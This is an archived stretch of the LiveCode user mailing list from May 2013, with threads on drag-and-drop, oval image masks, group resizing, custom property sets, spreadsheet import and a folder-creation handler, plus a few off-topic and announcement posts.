which depends on an alpha channel. > > Getting close - but nothing quite right yet. Suggestions? > From effendi at wanadoo.fr Fri May 10 07:23:51 2013 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Fri, 10 May 2013 13:23:51 +0200 Subject: [OT - I remembered this time] Message-ID: <09EDC2A7-666E-4B0A-AC14-CFFD7509D4C8@wanadoo.fr> Hi from Beautiful Brittany, Timothy Miller wrote : > Jerry Garcia dies, wakes up in a vast featureless space. Strange that he should touch upon a subject like that ! We recently finished writing a Musical Comedy called "Seven Stars in Paradise", where 7 famous, but dead musicians meet in Gabriel's Bar, and discover that Paradise is great but that they would like to give a concert. So they ask Gabriel if he can ask "the BOSS" for permission. Needless to say the answer is "No", 'cos the boss doesn't want any noisy Rock and Roll in Paradise. So the seven musicians take "him" to court, and justify their plea by singing songs about their trials and tribulations on earth, not at all Rock and Roll. With John Lennon, George Harrison, Elvis Presley, Ray Charles, Freddie Mercury, and invited guests such as J.S. Bach and L. V. Beethoven, and even the devil himself, they end up winning their case, and can have a jam session. Of course, the Internet site containing the scenario and all the songs is only open to American producers who may wish to invest in our project, and we hope to sell it in the near future, but the music business is in a decline, and prospects are bleak. I personally would have loved to have Karen Carpenter in the show, but we decided on an all male cast. The 25 songs in the show are written to the style of all the singers, and the script is full of laughs. Anybody interested in laying down a million or two ($) is welcome to contact me. Of course, I could launch a KickStart ! OK, this is very much [OT}, but at least I mentioned LiveCode once ???. :>) -Francis From richmondmathewson at gmail.com Fri May 10 07:31:16 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 10 May 2013 14:31:16 +0300 Subject: Drag and Drop In-Reply-To: References: Message-ID: <518CDA84.3060303@gmail.com> On 09/05/13 23:59, Scott Rossi wrote: > OK, I accepted your dare and was surprised to see that it worked (didn't > used to). Nice. Works in LC 4.5 Richmond. > Though you're still left with the limitations of working within a single > stack, and no dragging in or out. > But if the technique works for you, awesome. > > Speaking as someone who has rolled custom drag-and-drop code (execute in > your message box): > go url "http://www.tactilemedia.com/site_files/downloads/TMdragndrop.rev" > > > ...I'll suggest from experience that at some point it will benefit you to > get a handle on the built-in routines. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/9/13 1:36 PM, "Richmond" wrote: > >> On 05/09/2013 11:07 PM, Scott Rossi wrote: >>> Only you can know why you always use that technique, >> What? you expect me to know my own mind? LOL. >> >> I use that technique as I tend to use a single stack, or a signle stack >> with associated palettes. >> >>> but with grab, >>> there's no way to act upon events/messages while grab is active (thus >>> you >>> can't do cursor updates and provide user feedback), and you can't "grab" >>> an object across stacks. >> Aha; got you. >> >> Why do I have a funny feeling that you could use >> >> mouseStillDown >> >> to get feedback >> >> Ha, ha,ha . . . I just made a stack containing a button "DRAG ME ABOUT" >> >> and a field "KOUNT" >> >> in the button I have this script: >> >> on mouseDown >> grab me >> end mouseDown >> >> on mouseStillDown >> put fld "KOUNT" into KOUNT >> add 1 to KOUNT >> put KOUNT into fld "KOUNT" >> wait 3 ticks >> end mouseStillDown >> >> on mouseUp >> put empty into fld "KOUNT" >> end mouseUp >> >> Try it, I dare you . . . you get feedback. >> >> Richmond. >> >> >>> Regards, >>> >>> Scott Rossi >>> Creative Director >>> Tactile Media, UX/UI Design >>> >>> >>> >>> >>> On 5/9/13 12:42 PM, "Richmond" wrote: >>> >>>> On 05/09/2013 09:01 PM, Mark Wieder wrote: >>>>> Ray Horsley writes: >>>>> >>>>>> What am I missing to get drag/drop working consistently? >>>>> You might also want to look at >>>>> >>>>> >>>>> >>>>> >>>> p- >>>>> to-the-mat-a-primer> >>>>> >>>> Why do I always just use >>>> >>>> on mouseDown >>>> grab me >>>> end mouseDown >>>> >>>> then set up a load of images as dropTargets and have stuff like this in >>>> the grabbedObject: >>>> >>>> on mouseUp >>>> if not within (img "target", the mouseloc) then >>>> set the loc of me to 857,673 >>>> end if >>>> end mouseUp >>>> >>>> must be missing something. >>>> >>>> Richmond. >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Fri May 10 07:56:44 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 10 May 2013 05:56:44 -0600 Subject: Oval framed photo In-Reply-To: References: Message-ID: Would it work to size the picture appropriately, (as you're already doing) set your oval to opaque, and set the background pattern to the image? Then to change the image just change the background pattern of the oval. On Fri, May 10, 2013 at 5:22 AM, David Bovill wrote: > OK - seems like this works: > > - Image at back using ink "blendSrcAtop" > - Graphic in front, black filled oval, with ink "blendSrcOver" > - Group both objects and set the ink of the group to "blendSrcOver" > > Or use the following scripts: > > getprop show_Rounded > > put the ink of me into someInk > > if someInk is "blendSrcOver" then > > return true > > else > > return false > > end if > > end show_Rounded > > > > setprop show_Rounded someBoolean > > put the graphic_Object of me into roundedGraphic > > put the image_Object of me into imageObject > > set the ink of imageObject to "blendSrcAtop" > > > > if someBoolean is true then > > set the ink of me to "blendSrcOver" > > set the ink of roundedGraphic to "blendSrcOver" > > else > > set the ink of me to "srcCopy" > > set the ink of roundedGraphic to "srcCopy" > > end if > > end show_Rounded > > > > On 10 May 2013 11:59, David Bovill wrote: > > > Trying to work out the right combination of blends for an image (photo) > > and a graphic oval to create an oval mask. Ideally this is a group so > that > > I can change the image and not something which depends on an alpha > channel. > > > > Getting close - but nothing quite right yet. Suggestions? > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mcgrath3 at mac.com Fri May 10 08:00:08 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Fri, 10 May 2013 08:00:08 -0400 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: <4691CFFD-373A-4DFA-98F2-F34AEE174FEB@sweattechnologies.com> References: <4691CFFD-373A-4DFA-98F2-F34AEE174FEB@sweattechnologies.com> Message-ID: Monte, I won't be attending this year but I will be on the simulcast so I'll sort of be there in spirit at the conference?.. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 10, 2013, at 1:15 AM, Monte Goulding wrote: > I asked this exact question on StackOverflow a couple of weeks ago and before I was attacked by Mark for not asking the question he answered we were getting somewhere... I did create solution that works by retaining an offset for the child objects to use in their resizing. > > http://stackoverflow.com/questions/16168091/how-do-you-change-the-rect-of-a-group-without-changing-the-location-of-the-objec/16178454#16178454 > > Anyway... all will be revealed at the conference on Tuesday > > On 10/05/2013, at 5:23 AM, Thomas McGrath III wrote: > >> Is there a way to resize and move a scrolling group without touching the inside contents of that group??? This is on mobile and I need to resize a scrolling group based on the position of the UI (navbar and toolbar when in portrait and landscape) when the UI changes and then after the scrolling group is right I then need to separately resize the contents for retina if needed -- to double their height, width and topleft -- or regular. >> >> If I resize the group first then it moves the content and then doubling the content makes it the right size but positioned wrong. >> If I resize the content and then move the group then it again correctly sizes the contents but positions them wrong. >> >> If the group moves then everything is in a different position from when I laid them out in the desktop so they are off. >> >> I want the scrolling group code to be separate from the resizing code if possible. >> >> >> Thanks, >> >> Tom >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> mcgrath3 at mac.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > -- > Monte Goulding > > M E R Goulding - software development services > mergExt - There's an external for that! > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Fri May 10 08:14:13 2013 From: irog at mac.com (Roger Guay) Date: Fri, 10 May 2013 05:14:13 -0700 Subject: Oval framed photo In-Reply-To: References: Message-ID: Hi David, Seems to me that the ideal solution to you problem is to make the image the backgroundPattern of your oval. Roger On May 10, 2013, at 4:22 AM, David Bovill wrote: > OK - seems like this works: > > - Image at back using ink "blendSrcAtop" > - Graphic in front, black filled oval, with ink "blendSrcOver" > - Group both objects and set the ink of the group to "blendSrcOver" > > Or use the following scripts: > > getprop show_Rounded >> put the ink of me into someInk >> if someInk is "blendSrcOver" then >> return true >> else >> return false >> end if >> end show_Rounded >> >> setprop show_Rounded someBoolean >> put the graphic_Object of me into roundedGraphic >> put the image_Object of me into imageObject >> set the ink of imageObject to "blendSrcAtop" >> >> if someBoolean is true then >> set the ink of me to "blendSrcOver" >> set the ink of roundedGraphic to "blendSrcOver" >> else >> set the ink of me to "srcCopy" >> set the ink of roundedGraphic to "srcCopy" >> end if >> end show_Rounded >> > > On 10 May 2013 11:59, David Bovill wrote: > >> Trying to work out the right combination of blends for an image (photo) >> and a graphic oval to create an oval mask. Ideally this is a group so that >> I can change the image and not something which depends on an alpha channel. >> >> Getting close - but nothing quite right yet. Suggestions? >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ray at linkit.com Fri May 10 08:16:45 2013 From: ray at linkit.com (Ray Horsley) Date: Fri, 10 May 2013 08:16:45 -0400 Subject: Drag and Drop In-Reply-To: <518C49E7.7080704@hyperactivesw.com> References: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> <518C49E7.7080704@hyperactivesw.com> Message-ID: Very interesting point Jacqueline. In my case my image control displays nothing. I use it as a template, ultimately to make images out of what users drag and drops. It's the same dimensions as the stack itself. Since the image control displays nothing as it isn't linked (the FileName of it) to any file I'm not sure whether the whole thing is consider transparent pixels or not. Livecode doesn't seem to have a setting of transparent or opaque for image controls. So I've experimented with buttons giving them the same script as the image has: on dragEnter set the dragAction to "copy" pass dragEnter end dragEnter The new thing I've discovered is I can consistently break Livecode's accepting the drop, evidenced by the cursor turning into a circle with a line through it instead of a plus sign, if I drag extremely slowly right at the point where I stop dragging across the desktop and start dragging over the stack window. This happens even if I let the button overlap off the stack window. If I continue dragging around on top of the stack to another button with the same script I do get the plus sign for a cursor. Weird isn't it? On May 9, 2013, at 9:14 PM, J. Landman Gay wrote: > On 5/9/13 7:03 PM, Ray Horsley wrote: > >> At the end of the day I'm wondering if this should be reported as a >> bug. It seems like something is getting hooked in memory. It's >> weird that I can drag a file onto my Livecode stack (which is one >> large image control with the drag handlers in it) and get nothing. >> Then, simply continuing to drag off the stack window and right back >> on it fixes it. > > I wonder if it is because you are dropping onto an image. Images don't register mouse events unless you click (or presumably release) on an opaque pixel. It may be that sometimes you're dropping onto a transparent area and then nothing will happen. > > You could test the theory by putting a big button over the card and seeing if the drop is reliable there, or by always consciously dropping exactly on an opaque area. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rjb at robelko.com Fri May 10 10:28:00 2013 From: rjb at robelko.com (Robert Brenstein) Date: Fri, 10 May 2013 16:28:00 +0200 Subject: link to 6.0.1 build 1513 In-Reply-To: <518C280F.1070903@economy-x-talk.com> References: <518C131C.5060709@economy-x-talk.com> <518C23CC.1020000@hyperactivesw.com> <518C280F.1070903@economy-x-talk.com> Message-ID: On 10.05.2013 at 0:49 Uhr +0200 Mark Schonewille apparently wrote: >Hi, > >It is not that much easier than I thought. The point is: there is no >big red Download button on the main page. There is only a green >"Learn More" button. Apparently, this is sufficient for people to >lose interest. I told him clearly, I might be wrong and he should >contact support while also pointing him to the main page, but he >wasn't interested anymore. This happens to me several times a year. > if he lost interest so quickly, may be we don't really want him after all ;-) robert From heather at runrev.com Fri May 10 10:50:02 2013 From: heather at runrev.com (Heather Laine) Date: Fri, 10 May 2013 15:50:02 +0100 Subject: Temporary Website Outage Expected Message-ID: <0A39F3DF-7B82-4E8D-A698-359889219FA2@runrev.com> Dear List Members, Just to let you know that we are doing some planned engineering works on our website over the next few days. We expect the main website to be offline between Saturday and Tuesday. This will also affect the forums, which will be inaccessible during that period, and mail sent to support. This list should be unaffected. The on-rev website is also expected to be offline, hosting services themselves will be unaffected. We apologise for any inconvenience. Please bear with us while we make these necessary, exciting, and ultimately beneficial changes. Warm Regards, Heather Heather Laine Customer Services Manager http://www.runrev.com/ From capellan2000 at gmail.com Fri May 10 10:51:53 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 10 May 2013 07:51:53 -0700 (PDT) Subject: Wikipedia's LiveCode page updated In-Reply-To: <8D01B288E3AF771-2334-2AA86@webmail-d291.sysops.aol.com> References: <1368140415558-4664625.post@n4.nabble.com> <8D01B288E3AF771-2334-2AA86@webmail-d291.sysops.aol.com> Message-ID: <1368197513059-4664659.post@n4.nabble.com> Hi Craig, dunbarx wrote > I edited just a bit. I hope you do not mind. I removed the part about > numerous big fixes, as I thought this was unnecessary and might possibly > raise an eyebrow or two about whether such things were an ongoing problem > with the program. > Your writing, as far as the English goes, is just fine. Many Thanks! :D http://en.wikipedia.org/wiki/LiveCode The LiveCode's Wikipedia article would benefit of more content and IDE screenshots like in this article: http://en.wikipedia.org/wiki/Inform The section "Compatibility" needs an update to fill the ? marks in the table. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Wikipedia-s-LiveCode-page-updated-tp4664625p4664659.html Sent from the Revolution - User mailing list archive at Nabble.com. From lc at pbh.on-rev.com Fri May 10 10:54:18 2013 From: lc at pbh.on-rev.com (Paul Hibbert) Date: Fri, 10 May 2013 07:54:18 -0700 Subject: Drag and Drop In-Reply-To: References: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> <518C49E7.7080704@hyperactivesw.com> Message-ID: <76D1FA2A-2D8E-4417-83CB-1163A74D7E67@pbh.on-rev.com> Ray, Try moving your dragEnter & dragDrop to the card script (or the stack script), this works fine for me and I can't break it? on dragEnter if char -3 to -1 of the dragData["files"] is among the items of "jpg,png,gif" then set the dragAction to "copy" end if end dragEnter on dragDrop put the dragData["files"] into tFilePath set the fileName of img "imageViewer" to line 1 of tFilePath end dragDrop With this method I see the cursor change to the circle with a line through it as soon as I drag an image onto the card, but then it changes to a green circle with a plus sign as soon as the app can accept the drop. i.e. When the cursor is over the (empty or not) image area. Paul On 2013-05-10, at 5:16 AM, Ray Horsley wrote: > Very interesting point Jacqueline. In my case my image control displays nothing. I use it as a template, ultimately to make images out of what users drag and drops. It's the same dimensions as the stack itself. Since the image control displays nothing as it isn't linked (the FileName of it) to any file I'm not sure whether the whole thing is consider transparent pixels or not. Livecode doesn't seem to have a setting of transparent or opaque for image controls. So I've experimented with buttons giving them the same script as the image has: > > on dragEnter > set the dragAction to "copy" > pass dragEnter > end dragEnter > > The new thing I've discovered is I can consistently break Livecode's accepting the drop, evidenced by the cursor turning into a circle with a line through it instead of a plus sign, if I drag extremely slowly right at the point where I stop dragging across the desktop and start dragging over the stack window. This happens even if I let the button overlap off the stack window. If I continue dragging around on top of the stack to another button with the same script I do get the plus sign for a cursor. Weird isn't it? > > > On May 9, 2013, at 9:14 PM, J. Landman Gay wrote: > >> On 5/9/13 7:03 PM, Ray Horsley wrote: >> >>> At the end of the day I'm wondering if this should be reported as a >>> bug. It seems like something is getting hooked in memory. It's >>> weird that I can drag a file onto my Livecode stack (which is one >>> large image control with the drag handlers in it) and get nothing. >>> Then, simply continuing to drag off the stack window and right back >>> on it fixes it. >> >> I wonder if it is because you are dropping onto an image. Images don't register mouse events unless you click (or presumably release) on an opaque pixel. It may be that sometimes you're dropping onto a transparent area and then nothing will happen. >> >> You could test the theory by putting a big button over the card and seeing if the drop is reliable there, or by always consciously dropping exactly on an opaque area. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From lvhdgc7 at gmail.com Fri May 10 11:24:42 2013 From: lvhdgc7 at gmail.com (tbodine) Date: Fri, 10 May 2013 08:24:42 -0700 (PDT) Subject: How to copy a file so it creates missing folders in the path In-Reply-To: References: <1368142742092-4664628.post@n4.nabble.com> Message-ID: <1368199482088-4664661.post@n4.nabble.com> Thanks Klaus. That did the trick. -- Tom Bodine -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/How-to-copy-a-file-so-it-creates-missing-folders-in-the-path-tp4664628p4664661.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Fri May 10 11:55:58 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 10 May 2013 08:55:58 -0700 (PDT) Subject: Drag and Drop In-Reply-To: References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> <518C49E7.7080704@hyperactivesw.com> Message-ID: <1368201358010-4664662.post@n4.nabble.com> Hi Ray, Ray Horsley-2 wrote > [snip] > The new thing I've discovered is I can consistently break Livecode's > accepting the drop, > evidenced by the cursor turning into a circle with a line through it > instead of a plus sign, > if I drag extremely slowly right at the point where I stop dragging across > the desktop > and start dragging over the stack window. This happens even if I let the > button > overlap off the stack window. If I continue dragging around on top of the > stack > to another button with the same script I do get the plus sign for a > cursor. > Weird isn't it? And... This happens in every platform? Windows? Mac? Linux? Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Drag-and-Drop-tp4664563p4664662.html Sent from the Revolution - User mailing list archive at Nabble.com. From ray at linkit.com Fri May 10 12:17:11 2013 From: ray at linkit.com (Ray Horsley) Date: Fri, 10 May 2013 12:17:11 -0400 Subject: Drag and Drop In-Reply-To: <1368201358010-4664662.post@n4.nabble.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> <518C49E7.7080704@hyperactivesw.com> <1368201358010-4664662.post@n4.nabble.com> Message-ID: <9445490C-F2FD-40D6-9AAD-53A7132F25E0@LinkIt.Com> Well I haven't tried Linux but this behavior happens on both Mac and Windows. And Paul, thanks for the card script idea. I started out trying things in the card script but when I got the sporadic behavior I decided it was because a card is technically not a control. Not sure about that. In any event I'm sorry to report the script you've given me still isn't stopping the cursor from remaining a circle with a line through it without changing to the plus sign. I'll continue to experiment. Have you tried really slowly dragging a file onto a stack window from the desktop to see if it changes to the circle with a line through it even though you've got this in your card's script: on dragEnter set the dragAction to "copy" end dragEnter On May 10, 2013, at 11:55 AM, Alejandro Tejada wrote: > Hi Ray, > > > Ray Horsley-2 wrote >> [snip] >> The new thing I've discovered is I can consistently break Livecode's >> accepting the drop, >> evidenced by the cursor turning into a circle with a line through it >> instead of a plus sign, >> if I drag extremely slowly right at the point where I stop dragging across >> the desktop >> and start dragging over the stack window. This happens even if I let the >> button >> overlap off the stack window. If I continue dragging around on top of the >> stack >> to another button with the same script I do get the plus sign for a >> cursor. >> Weird isn't it? > > And... This happens in every platform? > Windows? Mac? Linux? > > Al > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Drag-and-Drop-tp4664563p4664662.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Fri May 10 13:04:55 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 10 May 2013 10:04:55 -0700 Subject: customPropertySets Message-ID: I'm seeing an unexpected behavior when using the customProperty set of an object. Here's the recipe. 1.Create a new stack and put a datagrid on it 2. Make a button with the following code: on mouseUp set the customPropertyset of group "Datagrid 1" to "dgProps" get the style of group "Datagrid 1" end mouseUp 3. Click the button. You will get an error on the "get the style" line, "object does not have this property". Changing the "get" line to access any other custom property of dgProps works fine. If I change the "get the style" line to "get the dgProps["style"] of group "Datagrid 1", all works as expected. The dgProps set does have a "style" property but "style" is a built-in property name too so it appears that LC does not observe the customPropertyset setting if the property being accessed has the same name as a built-in property. Bug? Pete lcSQL Software From mark.rauterkus at gmail.com Fri May 10 13:40:24 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Fri, 10 May 2013 13:40:24 -0400 Subject: Looking for a helper, example, tutorial or something to get LiveCode and Spreadsheet data working together Message-ID: Hi Gurus! I don't see anything -- even an example stack -- regarding the merging of Spreadsheet data to LiveCode. I don't want to do a full scale SQL database thing, but would love to have it work with OpenOffice spreadsheet or even a Google Doc Spreadsheet. How to get data from rows and columns from spreadsheet into LiveCode is first challenge. Later I can worry, or not, about saving back to the spreadsheet. Pointers welcome. Thanks. More insights: Using LC 6.0.1 on WIN. Have a job application form in a google document: https://docs.google.com/spreadsheet/viewform?formkey=dEdHNTdEZGhKUG5zYkFBZVUtU3FBQXc6MQ#gid=0 The resulting spreadsheet isn't nearly as good looking as a LC app could deliver. Mark Rauterkus Mark.Rauterkus at gmail.com From andrew at ctech.me Fri May 10 13:52:29 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Fri, 10 May 2013 12:52:29 -0500 Subject: Looking for a helper, example, tutorial or something to get LiveCode and Spreadsheet data working together In-Reply-To: References: Message-ID: This has been a need for several people lately, (myself included). SpreadLib is a commercial-only excel spreadsheet importing library being worked on by Curry Kenworth. He has several other libraries in the works regarding Spreadsheets; but, as far as I know, these were being worked on at this time last year with no official release since then or an expected release date any time soon. Also, this would not work with the community edition of LiveCode 6.0 Other options I have seen are leveraging VBScript to interact with MS-Office, and importing from a CSV or tab-delimited copy of the spreadsheet data. There were some threads recently in the list that discussed these options in more detail. I wish I had a link handy for you right now. On Fri, May 10, 2013 at 12:40 PM, Mark Rauterkus wrote: > Hi Gurus! > > I don't see anything -- even an example stack -- regarding the merging of > Spreadsheet data to LiveCode. > > I don't want to do a full scale SQL database thing, but would love to have > it work with OpenOffice spreadsheet or even a Google Doc Spreadsheet. > > How to get data from rows and columns from spreadsheet into LiveCode is > first challenge. > > Later I can worry, or not, about saving back to the spreadsheet. > > Pointers welcome. > > Thanks. > > More insights: > Using LC 6.0.1 on WIN. > Have a job application form in a google document: > > https://docs.google.com/spreadsheet/viewform?formkey=dEdHNTdEZGhKUG5zYkFBZVUtU3FBQXc6MQ#gid=0 > > The resulting spreadsheet isn't nearly as good looking as a LC app could > deliver. > > > > > Mark Rauterkus Mark.Rauterkus at gmail.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From dunbarx at aol.com Fri May 10 13:54:07 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 10 May 2013 13:54:07 -0400 (EDT) Subject: customPropertySets In-Reply-To: References: Message-ID: <8D01BBE80952B08-DC0-401A@webmail-m271.sysops.aol.com> Peter. Not sure, but the dictionary says: If using arbitrary custom property names, be aware that it won't be possible to access them by changing the customPropertySet if they clash with LiveCode language keywords. Instead, either use the array style notation above, or use a prefix to prevent name clashes (for example "uName" instead of "name"). Is this a possible collision? Craig Newman -----Original Message----- From: Peter Haworth To: How to use LiveCode Sent: Fri, May 10, 2013 1:06 pm Subject: customPropertySets I'm seeing an unexpected behavior when using the customProperty set of an object. Here's the recipe. 1.Create a new stack and put a datagrid on it 2. Make a button with the following code: on mouseUp set the customPropertyset of group "Datagrid 1" to "dgProps" get the style of group "Datagrid 1" end mouseUp 3. Click the button. You will get an error on the "get the style" line, "object does not have this property". Changing the "get" line to access any other custom property of dgProps works fine. If I change the "get the style" line to "get the dgProps["style"] of group "Datagrid 1", all works as expected. The dgProps set does have a "style" property but "style" is a built-in property name too so it appears that LC does not observe the customPropertyset setting if the property being accessed has the same name as a built-in property. Bug? Pete lcSQL Software _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From MikeKerner at roadrunner.com Fri May 10 13:57:07 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Fri, 10 May 2013 13:57:07 -0400 Subject: Looking for a helper, example, tutorial or something to get LiveCode and Spreadsheet data working together In-Reply-To: References: Message-ID: Mark, The easiest thing to do is to export your spreadsheet as a .csv file or as a .dbf file. >From there, you can (easily) use LC to get the data, so before we go any further, what do you want to do with the data in liveCode? The answer to that question will help determine the rest of the steps. On Fri, May 10, 2013 at 1:52 PM, Andrew Kluthe wrote: > This has been a need for several people lately, (myself included). > SpreadLib is a commercial-only excel spreadsheet importing library being > worked on by Curry Kenworth. He has several other libraries in the works > regarding Spreadsheets; but, as far as I know, these were being worked on > at this time last year with no official release since then or an expected > release date any time soon. Also, this would not work with the community > edition of LiveCode 6.0 > > Other options I have seen are leveraging VBScript to interact with > MS-Office, and importing from a CSV or tab-delimited copy of the > spreadsheet data. > > There were some threads recently in the list that discussed these options > in more detail. I wish I had a link handy for you right now. > > > > On Fri, May 10, 2013 at 12:40 PM, Mark Rauterkus > wrote: > > > Hi Gurus! > > > > I don't see anything -- even an example stack -- regarding the merging of > > Spreadsheet data to LiveCode. > > > > I don't want to do a full scale SQL database thing, but would love to > have > > it work with OpenOffice spreadsheet or even a Google Doc Spreadsheet. > > > > How to get data from rows and columns from spreadsheet into LiveCode is > > first challenge. > > > > Later I can worry, or not, about saving back to the spreadsheet. > > > > Pointers welcome. > > > > Thanks. > > > > More insights: > > Using LC 6.0.1 on WIN. > > Have a job application form in a google document: > > > > > https://docs.google.com/spreadsheet/viewform?formkey=dEdHNTdEZGhKUG5zYkFBZVUtU3FBQXc6MQ#gid=0 > > > > The resulting spreadsheet isn't nearly as good looking as a LC app could > > deliver. > > > > > > > > > > Mark Rauterkus Mark.Rauterkus at gmail.com > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From ambassador at fourthworld.com Fri May 10 14:01:00 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 10 May 2013 11:01:00 -0700 Subject: How to copy a file so it creates missing folders in the path In-Reply-To: <1368142742092-4664628.post@n4.nabble.com> References: <1368142742092-4664628.post@n4.nabble.com> Message-ID: <518D35DC.2090500@fourthworld.com> Klaus' raw materials are helpful, but I'm lazy and this comes up a lot for me so I wrote a function to take care of it for any number of levels in the path - from the old stdLib project: -- -- stdEnsurePath -- -- Checks the path specified in pPath to make sure each of its -- directories exists, creating any that need to be as it goes. -- on stdEnsurePath pPath set the itemdel to "/" -- put item 1 of pPath into tTestPath put pPath into tDestFolders delete item 1 of tDestFolders repeat for each item tFolder in tDestFolders put "/"&tFolder after tTestPath if there is not a folder tTestPath then create folder tTestPath Err the result, "Couldn't create folder ""e&tTestPath"e end if end repeat end stdEnsurePath -- -- ERR -- -- Simple method for checking and reporting errors to the user. -- Most useful to call for those circumstances where you would -- check the result and display it if it contains an error. -- By default, it exits to top, but you can pass any value -- in the optional third param to prevent this exit. -- on Err pResultStr, pErrMessage, pNoExitFlag if pResultStr is not empty then if pErrMessage is empty then answer pResultStr else answer pErrMessage if "appProgress" is in the windows then close stack "appProgress" end if if pNoExitflag is empty then exit to top end if end Err -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From pete at lcsql.com Fri May 10 14:01:56 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 10 May 2013 11:01:56 -0700 Subject: customPropertySets In-Reply-To: <8D01BBE80952B08-DC0-401A@webmail-m271.sysops.aol.com> References: <8D01BBE80952B08-DC0-401A@webmail-m271.sysops.aol.com> Message-ID: Ha, you're right, didn't think to look in the dictionary. It's working as documented. Still seems a little strange to me but I can work round it. Pete lcSQL Software On Fri, May 10, 2013 at 10:54 AM, wrote: > Peter. > > > Not sure, but the dictionary says: > > > > > If using arbitrary custom property names, be aware that it won't be > possible to access them by changing the customPropertySet if they clash > with 